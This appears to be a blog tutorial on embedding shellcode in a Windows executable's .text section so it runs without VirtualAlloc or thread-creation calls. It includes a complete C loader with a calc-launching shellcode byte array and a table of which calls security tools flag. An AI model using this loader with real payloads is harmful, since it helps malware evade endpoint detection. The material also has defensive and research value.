Shellcode-Placement-TextSection
Shellcode-Placement-TextSection
What is it?
Shellcode embedded directly into the PE’s .text section — the same section that holds the compiled code of the program itself. Instead of allocating memory at runtime with VirtualAlloc and writing shellcode into it, the shellcode bytes are placed at compile time into a named subsection of .text.
The result: the shellcode lives in a memory region that is already executable (because .text always is), with no suspicious runtime memory allocation, no VirtualAlloc, no WriteProcessMemory, no permission changes.
How it works
Step 1: Place shellcode in .text at compile time
1
2
3
4
5
6
7
# pragma section(".text$Shellcode", read, execute)
→ Tells the linker to create a subsection called ".text$Shellcode"
with read + execute permissions
__declspec(allocate(".text$Shellcode")) const unsigned char Shellcode[] = { ... }
→ Places the shellcode byte array directly into that subsection
at compile time — not at runtime
Step 2: Print the address and wait
1
2
3
4
5
6
7
printf("[+] Shellcode Address: 0x%p", (void*)Shellcode)
→ Shows where the shellcode landed in memory
(useful for verifying it's inside .text and not a separate region)
getchar()
→ Pauses before execution — lets you inspect the process
in a debugger or memory scanner first
Step 3: Execute
1
2
3
4
5
6
7
8
((void(*)())Shellcode)()
Breaking this down:
Shellcode → PBYTE pointing to the first byte of the shellcode array
(void(*)()) → cast to a function pointer (takes no args, returns void)
() → call it
The CPU jumps to the start of the shellcode bytes and begins executing. No CreateThread, no CreateRemoteThread — just a direct function call.
Why .text$Shellcode specifically:
1
2
3
4
5
6
7
8
9
10
11
12
13
Windows PE loader maps .text as PAGE_EXECUTE_READ at startup.
The $Shellcode suffix is a COFF section name notation — the linker
groups all .text$* subsections into the final .text section in
alphabetical order. This means our shellcode ends up inside .text
with no extra sections, no anomalous memory regions, and no runtime
permission changes needed.
Memory scanner view:
Region: .text (part of the PE image)
Permissions: PAGE_EXECUTE_READ ← normal for any code section
Backed by: the executable on disk ← not anonymous private memory
Content: shellcode bytes ← but doesn't match file on disk
(detectable by disk comparison)
Compared to classic VirtualAlloc injection:
1
2
3
4
5
6
Classic: .text placement:
VirtualAlloc (RWX) ← flagged No VirtualAlloc at all ✓
WriteProcessMemory ← flagged No WriteProcessMemory ✓
CreateThread ← flagged No CreateThread ✓
RWX private region ← flagged PAGE_EXECUTE_READ ✓
Backed by image file ✓
shellcode-placement.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <Windows.h>
#include <stdio.h>
/*
Shellcode placement, .Text Section
#pragma section creates a named COFF subsection with explicit attributes. The advantage is that no VirtualAlloc is needed
*/
#pragma section(".text$Shellcode", read, execute)
// Place the shellcode array directly into .text$Shellcode at compile time. __declspec(allocate) tells the compiler which section to put this variable in. "const" prevents the compiler from placing it in .rdata instead.
__declspec(allocate(".text$Shellcode")) const unsigned char Shellcode[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int main() {
printf("[+] Shellcode Address: 0x%p \n", (void*)Shellcode);
printf("[+] Shellcode Size: %zu bytes \n", sizeof(Shellcode));
printf("[+] Press Enter to execute... \n");
getchar();
// Cast the shellcode array to a function pointer and call it directly.
//
// Breakdown:
// Shellcode → PBYTE — address of first shellcode byte
// (void(*)()) → cast to: pointer to function (void args, void return)
// () → call the function
((void(*)())Shellcode)();
return 0;
}
This post is licensed under
CC BY 4.0
by the author.